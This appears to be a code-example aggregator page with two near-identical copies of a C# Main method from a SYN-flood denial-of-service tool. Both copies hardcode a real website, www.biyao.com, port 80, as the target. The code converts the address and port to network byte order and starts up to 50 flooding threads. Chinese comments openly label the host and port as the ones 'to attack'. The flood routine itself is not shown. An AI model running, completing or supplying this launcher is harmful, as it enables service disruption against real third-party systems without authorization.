Esempio n. 1
0
        //传参数的多线程需要用到代构造函数的对象。
        static void Main(string[] args)
        {
            string url  = "www.biyao.com";
            string p    = "80";
            string tNum = "5";

            Console.WriteLine("1. input target ip or address");
            try
            {
                IPHostEntry pe = Dns.GetHostByName(url);
                uint        ip = Convert.ToUInt32(pe.AddressList[0].Address);         //这是要攻击的ip并转为网络字节序
                Console.WriteLine("2. input target port");
                ushort     port = ushort.Parse(p);
                IPEndPoint ep   = new IPEndPoint(pe.AddressList[0], port);
                byte[]     bt   = BitConverter.GetBytes(port);
                Array.Reverse(bt);
                port = BitConverter.ToUInt16(bt, 0);
                //要攻击的端口也得转为网络字节序,必须是16位0-65535,如果用hosttonetworkorder就转成32位的了,无奈这样
                Console.WriteLine("3. input attack thread number(max: 50)");
                int xiancheng = Int32.Parse(tNum);
                if (xiancheng < 1 || xiancheng > 50)
                {
                    Console.WriteLine("thread number should between 1~50");
                    return;
                }
                Random   rand = new Random();
                Thread[] t    = new Thread[xiancheng];
                syn[]    sy   = new syn[xiancheng];
                for (int i = 0; i < xiancheng; i++)
                {
                    sy[i] = new syn(ip, port, ep, rand);
                    t[i]  = new Thread(new ThreadStart(sy[i].synFS));
                    t[i].Start();
                }
                //一个线程对应一个对象,不知多个线程对应同一个对象行不行,请指点。基础不行啊
            }
            catch
            {
                Console.WriteLine("error! check whether you can connect the internet or input right");
                return;
            }
        }
Esempio n. 2
0
        //传参数的多线程需要用到代构造函数的对象。
        static void Main(string[] args)
        {
            string url = "www.biyao.com";
            string p = "80";
            string tNum = "5";

            Console.WriteLine("1. input target ip or address");
            try
            {
                IPHostEntry pe = Dns.GetHostByName(url);
                uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序
                Console.WriteLine("2. input target port");
                ushort port = ushort.Parse(p);
                IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);
                byte[] bt = BitConverter.GetBytes(port);
                Array.Reverse(bt);
                port = BitConverter.ToUInt16(bt, 0);
                //要攻击的端口也得转为网络字节序,必须是16位0-65535,如果用hosttonetworkorder就转成32位的了,无奈这样
                Console.WriteLine("3. input attack thread number(max: 50)");
                int xiancheng = Int32.Parse(tNum);
                if (xiancheng < 1 || xiancheng > 50)
                {
                    Console.WriteLine("thread number should between 1~50");
                    return;
                }
                Random rand = new Random();
                Thread[] t = new Thread[xiancheng];
                syn[] sy = new syn[xiancheng];
                for (int i = 0; i < xiancheng; i++)
                {
                    sy[i] = new syn(ip, port, ep, rand);
                    t[i] = new Thread(new ThreadStart(sy[i].synFS));
                    t[i].Start();
                }
                //一个线程对应一个对象,不知多个线程对应同一个对象行不行,请指点。基础不行啊
            }
            catch
            {
                Console.WriteLine("error! check whether you can connect the internet or input right");
                return;
            }
        }